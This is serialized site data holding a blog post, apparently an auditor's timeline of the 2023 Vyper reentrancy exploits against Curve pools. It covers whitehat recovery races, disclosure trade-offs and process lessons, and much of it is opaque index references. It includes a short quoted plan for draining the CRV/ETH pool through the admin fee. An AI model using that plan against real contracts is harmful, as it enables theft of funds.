True\n",{"type":25,"tag":201,"props":32198,"children":32199},{"class":203,"line":330},[32200],{"type":25,"tag":201,"props":32201,"children":32202},{"emptyLinePlaceholder":17},[32203],{"type":31,"value":496},{"type":25,"tag":201,"props":32205,"children":32206},{"class":203,"line":397},[32207],{"type":25,"tag":201,"props":32208,"children":32209},{"style":214},[32210],{"type":31,"value":32128},{"type":25,"tag":201,"props":32212,"children":32213},{"class":203,"line":437},[32214,32218,32222,32226],{"type":25,"tag":201,"props":32215,"children":32216},{"style":214},[32217],{"type":31,"value":32136},{"type":25,"tag":201,"props":32219,"children":32220},{"style":220},[32221],{"type":31,"value":298},{"type":25,"tag":201,"props":32223,"children":32224},{"style":267},[32225],{"type":31,"value":32145},{"type":25,"tag":201,"props":32227,"children":32228},{"style":220},[32229],{"type":31,"value":4666},{"type":25,"tag":201,"props":32231,"children":32232},{"class":203,"line":464},[32233,32237,32242,32246,32250,32254,32258],{"type":25,"tag":201,"props":32234,"children":32235},{"style":208},[32236],{"type":31,"value":32157},{"type":25,"tag":201,"props":32238,"children":32239},{"style":214},[32240],{"type":31,"value":32241}," test2",{"type":25,"tag":201,"props":32243,"children":32244},{"style":220},[32245],{"type":31,"value":298},{"type":25,"tag":201,"props":32247,"children":32248},{"style":246},[32249],{"type":31,"value":32171},{"type":25,"tag":201,"props":32251,"children":32252},{"style":220},[32253],{"type":31,"value":32176},{"type":25,"tag":201,"props":32255,"children":32256},{"style":4925},[32257],{"type":31,"value":31169},{"type":25,"tag":201,"props":32259,"children":32260},{"style":220},[32261],{"type":31,"value":7077},{"type":25,"tag":201,"props":32263,"children":32264},{"class":203,"line":490},[32265,32269],{"type":25,"tag":201,"props":32266,"children":32267},{"style":230},[32268],{"type":31,"value":18486},{"type":25,"tag":201,"props":32270,"children":32271},{"style":208},[32272],{"type":31,"value":32273}," False\n",{"type":25,"tag":34,"props":32275,"children":32276},{},[32277],{"type":31,"value":32278},"This was not just another reentrancy bug.",{"type":25,"tag":34,"props":32280,"children":32281},{},[32282],{"type":31,"value":32283},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":25,"tag":34,"props":32285,"children":32286},{},[32287,32292],{"type":25,"tag":1252,"props":32288,"children":32289},{},[32290],{"type":31,"value":32291},"14:37 UTC",{"type":31,"value":32293}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":25,"tag":34,"props":32295,"children":32296},{},[32297],{"type":25,"tag":127,"props":32298,"children":32300},{"alt":7,"src":32299},"/posts/vyper-timeline/sstore.png",[],{"type":25,"tag":34,"props":32302,"children":32303},{},[32304],{"type":31,"value":32305},"It was a race with the hackers.",{"type":25,"tag":34,"props":32307,"children":32308},{},[32309],{"type":31,"value":32310},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":25,"tag":4439,"props":32312,"children":32313},{},[32314],{"type":25,"tag":34,"props":32315,"children":32316},{},[32317,32319],{"type":31,"value":32318},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":25,"tag":71,"props":32320,"children":32323},{"href":32321,"rel":32322},"https://twitter.com/hexagate_/status/1685677801813217280",[75],[32324],{"type":31,"value":32321},{"type":25,"tag":34,"props":32326,"children":32327},{},[32328],{"type":31,"value":32329},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":25,"tag":34,"props":32331,"children":32332},{},[32333,32338,32339,32346],{"type":25,"tag":1252,"props":32334,"children":32335},{},[32336],{"type":31,"value":32337},"14:50 UTC",{"type":31,"value":7966},{"type":25,"tag":71,"props":32340,"children":32343},{"href":32341,"rel":32342},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[75],[32344],{"type":31,"value":32345},"msETH/ETH was drained",{"type":31,"value":80},{"type":25,"tag":34,"props":32348,"children":32349},{},[32350,32355,32356,32363],{"type":25,"tag":1252,"props":32351,"children":32352},{},[32353],{"type":31,"value":32354},"15:34 UTC",{"type":31,"value":7966},{"type":25,"tag":71,"props":32357,"children":32360},{"href":32358,"rel":32359},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[75],[32361],{"type":31,"value":32362},"alETH/ETH was drained",{"type":31,"value":80},{"type":25,"tag":34,"props":32365,"children":32366},{},[32367,32372,32374,32381],{"type":25,"tag":1252,"props":32368,"children":32369},{},[32370],{"type":31,"value":32371},"15:43 UTC",{"type":31,"value":32373}," We identified that ",{"type":25,"tag":71,"props":32375,"children":32378},{"href":32376,"rel":32377},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[75],[32379],{"type":31,"value":32380},"CRV/ETH was vulnerable",{"type":31,"value":32382},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":25,"tag":34,"props":32384,"children":32385},{},[32386,32391],{"type":25,"tag":1252,"props":32387,"children":32388},{},[32389],{"type":31,"value":32390},"16:11 UTC",{"type":31,"value":32392}," We began working on a whitehat exploit.",{"type":25,"tag":34,"props":32394,"children":32395},{},[32396,32398,32405],{"type":31,"value":32397},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":25,"tag":71,"props":32399,"children":32402},{"href":32400,"rel":32401},"https://twitter.com/vyperlang/status/1685692973051498497",[75],[32403],{"type":31,"value":32404},"public statement on affected versions",{"type":31,"value":80},{"type":25,"tag":34,"props":32407,"children":32408},{},[32409],{"type":31,"value":32410},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":25,"tag":34,"props":32412,"children":32413},{},[32414,32416,32423],{"type":31,"value":32415},"Five minutes later at 19:11 UTC, ",{"type":25,"tag":71,"props":32417,"children":32420},{"href":32418,"rel":32419},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[75],[32421],{"type":31,"value":32422},"somebody else stole the funds",{"type":31,"value":80},{"type":25,"tag":34,"props":32425,"children":32426},{},[32427],{"type":31,"value":32428},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":25,"tag":34,"props":32430,"children":32431},{},[32432],{"type":31,"value":32433},"Nevertheless, there was more ground to cover.",{"type":25,"tag":34,"props":32435,"children":32436},{},[32437,32442],{"type":25,"tag":1252,"props":32438,"children":32439},{},[32440],{"type":31,"value":32441},"21:26 UTC",{"type":31,"value":32443}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":25,"tag":4439,"props":32445,"children":32446},{},[32447],{"type":25,"tag":34,"props":32448,"children":32449},{},[32450,32452,32456,32458,32461,32463,32466,32468],{"type":31,"value":32451},"if you send like 30k crv to the crv/eth pool ",{"type":25,"tag":32453,"props":32454,"children":32455},"br",{},[],{"type":31,"value":32457},"\nyou can then update admin fee ",{"type":25,"tag":32453,"props":32459,"children":32460},{},[],{"type":31,"value":32462},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":25,"tag":32453,"props":32464,"children":32465},{},[],{"type":31,"value":32467},"\nso you can basically drain whole pool for few hundred K crv ",{"type":25,"tag":32453,"props":32469,"children":32470},{},[],{"type":25,"tag":34,"props":32472,"children":32473},{},[32474,32479],{"type":25,"tag":1252,"props":32475,"children":32476},{},[32477],{"type":31,"value":32478},"21:52 UTC",{"type":31,"value":32480}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":25,"tag":34,"props":32482,"children":32483},{},[32484,32486,32493,32495,32502,32510],{"type":31,"value":32485},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":25,"tag":71,"props":32487,"children":32490},{"href":32488,"rel":32489},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[75],[32491],{"type":31,"value":32492},"CRV admin fee bot",{"type":31,"value":32494}," had claimed fees and ",{"type":25,"tag":71,"props":32496,"children":32499},{"href":32497,"rel":32498},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[75],[32500],{"type":31,"value":32501},"the pool was drained",{"type":25,"tag":16970,"props":32503,"children":32504},{},[32505],{"type":25,"tag":71,"props":32506,"children":32508},{"href":31107,"ariaDescribedBy":32507,"dataFootnoteRef":7,"id":31109},[16977],[32509],{"type":31,"value":5516},{"type":31,"value":80},{"type":25,"tag":26,"props":32512,"children":32514},{"id":32513},"blame",[32515],{"type":31,"value":32516},"Blame",{"type":25,"tag":34,"props":32518,"children":32519},{},[32520,32524],{"type":25,"tag":65,"props":32521,"children":32522},{},[32523],{"type":31,"value":32516},{"type":31,"value":32525}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":25,"tag":40,"props":32527,"children":32529},{"id":32528},"races",[32530],{"type":31,"value":32531},"Races",{"type":25,"tag":34,"props":32533,"children":32534},{},[32535],{"type":31,"value":32536},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":25,"tag":34,"props":32538,"children":32539},{},[32540],{"type":31,"value":32541},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":25,"tag":34,"props":32543,"children":32544},{},[32545],{"type":31,"value":32546},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":25,"tag":40,"props":32548,"children":32550},{"id":32549},"information-leakage",[32551],{"type":31,"value":32552},"Information Leakage",{"type":25,"tag":34,"props":32554,"children":32555},{},[32556],{"type":31,"value":32557},"I was both an auditor and a whitehat.",{"type":25,"tag":34,"props":32559,"children":32560},{},[32561,32563,32570],{"type":31,"value":32562},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":25,"tag":71,"props":32564,"children":32567},{"href":32565,"rel":32566},"https://twitter.com/osec_io/status/1579969927020412929",[75],[32568],{"type":31,"value":32569},"by publishing the \"scoop\"",{"type":31,"value":32571}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":25,"tag":34,"props":32573,"children":32574},{},[32575],{"type":31,"value":32576},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":25,"tag":34,"props":32578,"children":32579},{},[32580],{"type":31,"value":32581},"Half an hour more could have saved $18M.",{"type":25,"tag":34,"props":32583,"children":32584},{},[32585],{"type":31,"value":32586},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":25,"tag":26,"props":32588,"children":32590},{"id":32589},"next-steps",[32591],{"type":31,"value":32592},"Next Steps",{"type":25,"tag":34,"props":32594,"children":32595},{},[32596],{"type":31,"value":32597},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":25,"tag":34,"props":32599,"children":32600},{},[32601,32603,32610],{"type":31,"value":32602},"It's important to note that this bug ",{"type":25,"tag":71,"props":32604,"children":32607},{"href":32605,"rel":32606},"https://twitter.com/real_philogy/status/1685948253139857409",[75],[32608],{"type":31,"value":32609},"was patched since November 2021",{"type":31,"value":80},{"type":25,"tag":4439,"props":32612,"children":32613},{},[32614],{"type":25,"tag":34,"props":32615,"children":32616},{},[32617,32619,32624,32625,32628,32630,32635],{"type":31,"value":32618},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":25,"tag":65,"props":32620,"children":32621},{},[32622],{"type":31,"value":32623},"processes",{"type":31,"value":20030},{"type":25,"tag":32453,"props":32626,"children":32627},{},[],{"type":31,"value":32629},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":25,"tag":65,"props":32631,"children":32632},{},[32633],{"type":31,"value":32634},"was",{"type":31,"value":32636}," fixed.",{"type":25,"tag":34,"props":32638,"children":32639},{},[32640],{"type":31,"value":32641},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":25,"tag":19920,"props":32643,"children":32645},{"className":32644,"dataFootnotes":7},[19923],[32646,32651],{"type":25,"tag":26,"props":32647,"children":32649},{"className":32648,"id":16977},[19928],[32650],{"type":31,"value":19931},{"type":25,"tag":6944,"props":32652,"children":32653},{},[32654],{"type":25,"tag":6948,"props":32655,"children":32656},{"id":31850},[32657,32659],{"type":31,"value":32658},"Thankfully, these funds were later returned. ",{"type":25,"tag":71,"props":32660,"children":32662},{"href":31878,"ariaLabel":20034,"className":32661,"dataFootnoteBackref":7},[20036],[32663],{"type":31,"value":20039},{"type":25,"tag":4349,"props":32665,"children":32666},{},[32667],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":32669},[32670,32671,32675,32676],{"id":31945,"depth":226,"text":31948},{"id":32513,"depth":226,"text":32516,"children":32672},[32673,32674],{"id":32528,"depth":278,"text":32531},{"id":32549,"depth":278,"text":32552},{"id":32589,"depth":226,"text":32592},{"id":16977,"depth":226,"text":19931},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":32681,"image":32682,"date":16,"isFeatured":17,"tags":32683,"onBlogPage":17,"body":32684,"_type":4371,"_id":4372,"_source":4373,"_file":4374,"_stem":4375,"_extension":4376},[11,12],{"src":14,"height":15,"width":15},[19,20],{"type":22,"children":32685,"toc":36474},[32686,32690,32694,32698,32702,32706,32710,32723,32727,32737,32753,32759,32763,32769,32773,32777,32781,32785,32789,32793,32799,32803,33689,33697,33707,33713,33717,34455,34459,34463,34467,34471,35235,35239,35312,35316,35377,35381,35385,35389,35594,35604,35608,35612,35616,35622,35626,35632,35636,35640,35644,35648,35952,35956,35960,35973,35977,35981,35985,35993,35997,36001,36007,36011,36015,36028,36038,36042,36046,36062,36068,36072,36078,36085,36089,36105,36154,36158,36203,36213,36217,36227,36333,36349,36426,36442,36446,36450,36454,36458,36462,36466,36470],{"type":25,"tag":26,"props":32687,"children":32688},{"id":28},[32689],{"type":31,"value":32},{"type":25,"tag":34,"props":32691,"children":32692},{},[32693],{"type":31,"value":38},{"type":25,"tag":40,"props":32695,"children":32696},{"id":42},[32697],{"type":31,"value":45},{"type":25,"tag":34,"props":32699,"children":32700},{},[32701],{"type":31,"value":50},{"type":25,"tag":34,"props":32703,"children":32704},{},[32705],{"type":31,"value":55},{"type":25,"tag":26,"props":32707,"children":32708},{"id":20},[32709],{"type":31,"value":60},{"type":25,"tag":34,"props":32711,"children":32712},{},[32713],{"type":25,"tag":65,"props":32714,"children":32715},{},[32716,32717,32722],{"type":31,"value":69},{"type":25,"tag":71,"props":32718,"children":32720},{"href":73,"rel":32719},[75],[32721],{"type":31,"value":78},{"type":31,"value":80},{"type":25,"tag":40,"props":32724,"children":32725},{"id":83},[32726],{"type":31,"value":86},{"type":25,"tag":34,"props":32728,"children":32729},{},[32730,32731,32736],{"type":31,"value":91},{"type":25,"tag":71,"props":32732,"children":32734},{"href":94,"rel":32733},[75],[32735],{"type":31,"value":98},{"type":31,"value":80},{"type":25,"tag":34,"props":32738,"children":32739},{},[32740,32741,32746,32747,32752],{"type":31,"value":104},{"type":25,"tag":71,"props":32742,"children":32744},{"href":107,"rel":32743},[75],[32745],{"type":31,"value":111},{"type":31,"value":113},{"type":25,"tag":115,"props":32748,"children":32750},{"className":32749},[],[32751],{"type":31,"value":120},{"type":31,"value":122},{"type":25,"tag":34,"props":32754,"children":32755},{},[32756],{"type":25,"tag":127,"props":32757,"children":32758},{"alt":7,"src":129},[],{"type":25,"tag":34,"props":32760,"children":32761},{},[32762],{"type":31,"value":135},{"type":25,"tag":34,"props":32764,"children":32765},{},[32766],{"type":25,"tag":127,"props":32767,"children":32768},{"alt":7,"src":141},[],{"type":25,"tag":34,"props":32770,"children":32771},{},[32772],{"type":31,"value":147},{"type":25,"tag":40,"props":32774,"children":32775},{"id":150},[32776],{"type":31,"value":153},{"type":25,"tag":34,"props":32778,"children":32779},{},[32780],{"type":31,"value":158},{"type":25,"tag":34,"props":32782,"children":32783},{},[32784],{"type":31,"value":163},{"type":25,"tag":34,"props":32786,"children":32787},{},[32788],{"type":31,"value":168},{"type":25,"tag":34,"props":32790,"children":32791},{},[32792],{"type":31,"value":173},{"type":25,"tag":175,"props":32794,"children":32795},{"style":177},[32796],{"type":25,"tag":127,"props":32797,"children":32798},{"src":181,"alt":182,"style":183},[],{"type":25,"tag":34,"props":32800,"children":32801},{},[32802],{"type":31,"value":189},{"type":25,"tag":191,"props":32804,"children":32805},{"className":193,"code":194,"language":195,"meta":7,"style":7},[32806],{"type":25,"tag":115,"props":32807,"children":32808},{"__ignoreMap":7},[32809,32824,32863,32890,32905,32960,32991,33014,33037,33044,33063,33070,33085,33096,33103,33118,33133,33140,33147,33162,33177,33184,33191,33206,33217,33224,33239,33254,33261,33268,33283,33290,33297,33304,33347,33354,33413,33420,33439,33454,33469,33488,33551,33566,33573,33580,33615,33622,33629,33636,33643,33662],{"type":25,"tag":201,"props":32810,"children":32811},{"class":203,"line":204},[32812,32816,32820],{"type":25,"tag":201,"props":32813,"children":32814},{"style":208},[32815],{"type":31,"value":211},{"type":25,"tag":201,"props":32817,"children":32818},{"style":214},[32819],{"type":31,"value":217},{"type":25,"tag":201,"props":32821,"children":32822},{"style":220},[32823],{"type":31,"value":223},{"type":25,"tag":201,"props":32825,"children":32826},{"class":203,"line":226},[32827,32831,32835,32839,32843,32847,32851,32855,32859],{"type":25,"tag":201,"props":32828,"children":32829},{"style":230},[32830],{"type":31,"value":233},{"type":25,"tag":201,"props":32832,"children":32833},{"style":220},[32834],{"type":31,"value":238},{"type":25,"tag":201,"props":32836,"children":32837},{"style":208},[32838],{"type":31,"value":243},{"type":25,"tag":201,"props":32840,"children":32841},{"style":246},[32842],{"type":31,"value":249},{"type":25,"tag":201,"props":32844,"children":32845},{"style":220},[32846],{"type":31,"value":80},{"type":25,"tag":201,"props":32848,"children":32849},{"style":246},[32850],{"type":31,"value":258},{"type":25,"tag":201,"props":32852,"children":32853},{"style":261},[32854],{"type":31,"value":264},{"type":25,"tag":201,"props":32856,"children":32857},{"style":267},[32858],{"type":31,"value":270},{"type":25,"tag":201,"props":32860,"children":32861},{"style":220},[32862],{"type":31,"value":275},{"type":25,"tag":201,"props":32864,"children":32865},{"class":203,"line":278},[32866,32870,32874,32878,32882,32886],{"type":25,"tag":201,"props":32867,"children":32868},{"style":246},[32869],{"type":31,"value":284},{"type":25,"tag":201,"props":32871,"children":32872},{"style":220},[32873],{"type":31,"value":80},{"type":25,"tag":201,"props":32875,"children":32876},{"style":214},[32877],{"type":31,"value":293},{"type":25,"tag":201,"props":32879,"children":32880},{"style":220},[32881],{"type":31,"value":298},{"type":25,"tag":201,"props":32883,"children":32884},{"style":267},[32885],{"type":31,"value":303},{"type":25,"tag":201,"props":32887,"children":32888},{"style":220},[32889],{"type":31,"value":308},{"type":25,"tag":201,"props":32891,"children":32892},{"class":203,"line":311},[32893,32897,32901],{"type":25,"tag":201,"props":32894,"children":32895},{"style":220},[32896],{"type":31,"value":317},{"type":25,"tag":201,"props":32898,"children":32899},{"style":230},[32900],{"type":31,"value":322},{"type":25,"tag":201,"props":32902,"children":32903},{"style":220},[32904],{"type":31,"value":327},{"type":25,"tag":201,"props":32906,"children":32907},{"class":203,"line":330},[32908,32912,32916,32920,32924,32928,32932,32936,32940,32944,32948,32952,32956],{"type":25,"tag":201,"props":32909,"children":32910},{"style":246},[32911],{"type":31,"value":336},{"type":25,"tag":201,"props":32913,"children":32914},{"style":220},[32915],{"type":31,"value":80},{"type":25,"tag":201,"props":32917,"children":32918},{"style":214},[32919],{"type":31,"value":345},{"type":25,"tag":201,"props":32921,"children":32922},{"style":220},[32923],{"type":31,"value":350},{"type":25,"tag":201,"props":32925,"children":32926},{"style":246},[32927],{"type":31,"value":355},{"type":25,"tag":201,"props":32929,"children":32930},{"style":267},[32931],{"type":31,"value":360},{"type":25,"tag":201,"props":32933,"children":32934},{"style":220},[32935],{"type":31,"value":365},{"type":25,"tag":201,"props":32937,"children":32938},{"style":214},[32939],{"type":31,"value":370},{"type":25,"tag":201,"props":32941,"children":32942},{"style":220},[32943],{"type":31,"value":375},{"type":25,"tag":201,"props":32945,"children":32946},{"style":246},[32947],{"type":31,"value":380},{"type":25,"tag":201,"props":32949,"children":32950},{"style":220},[32951],{"type":31,"value":385},{"type":25,"tag":201,"props":32953,"children":32954},{"style":208},[32955],{"type":31,"value":390},{"type":25,"tag":201,"props":32957,"children":32958},{"style":220},[32959],{"type":31,"value":327},{"type":25,"tag":201,"props":32961,"children":32962},{"class":203,"line":397},[32963,32967,32971,32975,32979,32983,32987],{"type":25,"tag":201,"props":32964,"children":32965},{"style":208},[32966],{"type":31,"value":403},{"type":25,"tag":201,"props":32968,"children":32969},{"style":246},[32970],{"type":31,"value":408},{"type":25,"tag":201,"props":32972,"children":32973},{"style":261},[32974],{"type":31,"value":413},{"type":25,"tag":201,"props":32976,"children":32977},{"style":246},[32978],{"type":31,"value":418},{"type":25,"tag":201,"props":32980,"children":32981},{"style":220},[32982],{"type":31,"value":423},{"type":25,"tag":201,"props":32984,"children":32985},{"style":426},[32986],{"type":31,"value":429},{"type":25,"tag":201,"props":32988,"children":32989},{"style":220},[32990],{"type":31,"value":434},{"type":25,"tag":201,"props":32992,"children":32993},{"class":203,"line":437},[32994,32998,33002,33006,33010],{"type":25,"tag":201,"props":32995,"children":32996},{"style":208},[32997],{"type":31,"value":403},{"type":25,"tag":201,"props":32999,"children":33000},{"style":246},[33001],{"type":31,"value":447},{"type":25,"tag":201,"props":33003,"children":33004},{"style":261},[33005],{"type":31,"value":413},{"type":25,"tag":201,"props":33007,"children":33008},{"style":267},[33009],{"type":31,"value":456},{"type":25,"tag":201,"props":33011,"children":33012},{"style":220},[33013],{"type":31,"value":461},{"type":25,"tag":201,"props":33015,"children":33016},{"class":203,"line":464},[33017,33021,33025,33029,33033],{"type":25,"tag":201,"props":33018,"children":33019},{"style":208},[33020],{"type":31,"value":403},{"type":25,"tag":201,"props":33022,"children":33023},{"style":246},[33024],{"type":31,"value":474},{"type":25,"tag":201,"props":33026,"children":33027},{"style":261},[33028],{"type":31,"value":413},{"type":25,"tag":201,"props":33030,"children":33031},{"style":267},[33032],{"type":31,"value":483},{"type":25,"tag":201,"props":33034,"children":33035},{"style":220},[33036],{"type":31,"value":461},{"type":25,"tag":201,"props":33038,"children":33039},{"class":203,"line":490},[33040],{"type":25,"tag":201,"props":33041,"children":33042},{"emptyLinePlaceholder":17},[33043],{"type":31,"value":496},{"type":25,"tag":201,"props":33045,"children":33046},{"class":203,"line":499},[33047,33051,33055,33059],{"type":25,"tag":201,"props":33048,"children":33049},{"style":208},[33050],{"type":31,"value":505},{"type":25,"tag":201,"props":33052,"children":33053},{"style":246},[33054],{"type":31,"value":510},{"type":25,"tag":201,"props":33056,"children":33057},{"style":261},[33058],{"type":31,"value":413},{"type":25,"tag":201,"props":33060,"children":33061},{"style":220},[33062],{"type":31,"value":519},{"type":25,"tag":201,"props":33064,"children":33065},{"class":203,"line":522},[33066],{"type":25,"tag":201,"props":33067,"children":33068},{"style":220},[33069],{"type":31,"value":528},{"type":25,"tag":201,"props":33071,"children":33072},{"class":203,"line":531},[33073,33077,33081],{"type":25,"tag":201,"props":33074,"children":33075},{"style":246},[33076],{"type":31,"value":537},{"type":25,"tag":201,"props":33078,"children":33079},{"style":208},[33080],{"type":31,"value":542},{"type":25,"tag":201,"props":33082,"children":33083},{"style":220},[33084],{"type":31,"value":547},{"type":25,"tag":201,"props":33086,"children":33087},{"class":203,"line":550},[33088,33092],{"type":25,"tag":201,"props":33089,"children":33090},{"style":246},[33091],{"type":31,"value":556},{"type":25,"tag":201,"props":33093,"children":33094},{"style":220},[33095],{"type":31,"value":519},{"type":25,"tag":201,"props":33097,"children":33098},{"class":203,"line":563},[33099],{"type":25,"tag":201,"props":33100,"children":33101},{"style":220},[33102],{"type":31,"value":569},{"type":25,"tag":201,"props":33104,"children":33105},{"class":203,"line":572},[33106,33110,33114],{"type":25,"tag":201,"props":33107,"children":33108},{"style":246},[33109],{"type":31,"value":578},{"type":25,"tag":201,"props":33111,"children":33112},{"style":267},[33113],{"type":31,"value":583},{"type":25,"tag":201,"props":33115,"children":33116},{"style":220},[33117],{"type":31,"value":547},{"type":25,"tag":201,"props":33119,"children":33120},{"class":203,"line":590},[33121,33125,33129],{"type":25,"tag":201,"props":33122,"children":33123},{"style":246},[33124],{"type":31,"value":596},{"type":25,"tag":201,"props":33126,"children":33127},{"style":267},[33128],{"type":31,"value":601},{"type":25,"tag":201,"props":33130,"children":33131},{"style":220},[33132],{"type":31,"value":547},{"type":25,"tag":201,"props":33134,"children":33135},{"class":203,"line":608},[33136],{"type":25,"tag":201,"props":33137,"children":33138},{"style":220},[33139],{"type":31,"value":614},{"type":25,"tag":201,"props":33141,"children":33142},{"class":203,"line":617},[33143],{"type":25,"tag":201,"props":33144,"children":33145},{"style":220},[33146],{"type":31,"value":569},{"type":25,"tag":201,"props":33148,"children":33149},{"class":203,"line":625},[33150,33154,33158],{"type":25,"tag":201,"props":33151,"children":33152},{"style":246},[33153],{"type":31,"value":578},{"type":25,"tag":201,"props":33155,"children":33156},{"style":267},[33157],{"type":31,"value":635},{"type":25,"tag":201,"props":33159,"children":33160},{"style":220},[33161],{"type":31,"value":547},{"type":25,"tag":201,"props":33163,"children":33164},{"class":203,"line":642},[33165,33169,33173],{"type":25,"tag":201,"props":33166,"children":33167},{"style":246},[33168],{"type":31,"value":596},{"type":25,"tag":201,"props":33170,"children":33171},{"style":267},[33172],{"type":31,"value":652},{"type":25,"tag":201,"props":33174,"children":33175},{"style":220},[33176],{"type":31,"value":547},{"type":25,"tag":201,"props":33178,"children":33179},{"class":203,"line":659},[33180],{"type":25,"tag":201,"props":33181,"children":33182},{"style":220},[33183],{"type":31,"value":614},{"type":25,"tag":201,"props":33185,"children":33186},{"class":203,"line":667},[33187],{"type":25,"tag":201,"props":33188,"children":33189},{"style":220},[33190],{"type":31,"value":673},{"type":25,"tag":201,"props":33192,"children":33193},{"class":203,"line":676},[33194,33198,33202],{"type":25,"tag":201,"props":33195,"children":33196},{"style":246},[33197],{"type":31,"value":682},{"type":25,"tag":201,"props":33199,"children":33200},{"style":267},[33201],{"type":31,"value":687},{"type":25,"tag":201,"props":33203,"children":33204},{"style":220},[33205],{"type":31,"value":547},{"type":25,"tag":201,"props":33207,"children":33208},{"class":203,"line":694},[33209,33213],{"type":25,"tag":201,"props":33210,"children":33211},{"style":246},[33212],{"type":31,"value":700},{"type":25,"tag":201,"props":33214,"children":33215},{"style":220},[33216],{"type":31,"value":519},{"type":25,"tag":201,"props":33218,"children":33219},{"class":203,"line":707},[33220],{"type":25,"tag":201,"props":33221,"children":33222},{"style":220},[33223],{"type":31,"value":569},{"type":25,"tag":201,"props":33225,"children":33226},{"class":203,"line":715},[33227,33231,33235],{"type":25,"tag":201,"props":33228,"children":33229},{"style":246},[33230],{"type":31,"value":578},{"type":25,"tag":201,"props":33232,"children":33233},{"style":267},[33234],{"type":31,"value":725},{"type":25,"tag":201,"props":33236,"children":33237},{"style":220},[33238],{"type":31,"value":547},{"type":25,"tag":201,"props":33240,"children":33241},{"class":203,"line":732},[33242,33246,33250],{"type":25,"tag":201,"props":33243,"children":33244},{"style":246},[33245],{"type":31,"value":596},{"type":25,"tag":201,"props":33247,"children":33248},{"style":267},[33249],{"type":31,"value":742},{"type":25,"tag":201,"props":33251,"children":33252},{"style":220},[33253],{"type":31,"value":547},{"type":25,"tag":201,"props":33255,"children":33256},{"class":203,"line":749},[33257],{"type":25,"tag":201,"props":33258,"children":33259},{"style":220},[33260],{"type":31,"value":614},{"type":25,"tag":201,"props":33262,"children":33263},{"class":203,"line":757},[33264],{"type":25,"tag":201,"props":33265,"children":33266},{"style":220},[33267],{"type":31,"value":673},{"type":25,"tag":201,"props":33269,"children":33270},{"class":203,"line":765},[33271,33275,33279],{"type":25,"tag":201,"props":33272,"children":33273},{"style":246},[33274],{"type":31,"value":771},{"type":25,"tag":201,"props":33276,"children":33277},{"style":267},[33278],{"type":31,"value":776},{"type":25,"tag":201,"props":33280,"children":33281},{"style":220},[33282],{"type":31,"value":547},{"type":25,"tag":201,"props":33284,"children":33285},{"class":203,"line":783},[33286],{"type":25,"tag":201,"props":33287,"children":33288},{"style":220},[33289],{"type":31,"value":789},{"type":25,"tag":201,"props":33291,"children":33292},{"class":203,"line":792},[33293],{"type":25,"tag":201,"props":33294,"children":33295},{"style":220},[33296],{"type":31,"value":798},{"type":25,"tag":201,"props":33298,"children":33299},{"class":203,"line":801},[33300],{"type":25,"tag":201,"props":33301,"children":33302},{"emptyLinePlaceholder":17},[33303],{"type":31,"value":496},{"type":25,"tag":201,"props":33305,"children":33306},{"class":203,"line":809},[33307,33311,33315,33319,33323,33327,33331,33335,33339,33343],{"type":25,"tag":201,"props":33308,"children":33309},{"style":208},[33310],{"type":31,"value":403},{"type":25,"tag":201,"props":33312,"children":33313},{"style":246},[33314],{"type":31,"value":819},{"type":25,"tag":201,"props":33316,"children":33317},{"style":261},[33318],{"type":31,"value":413},{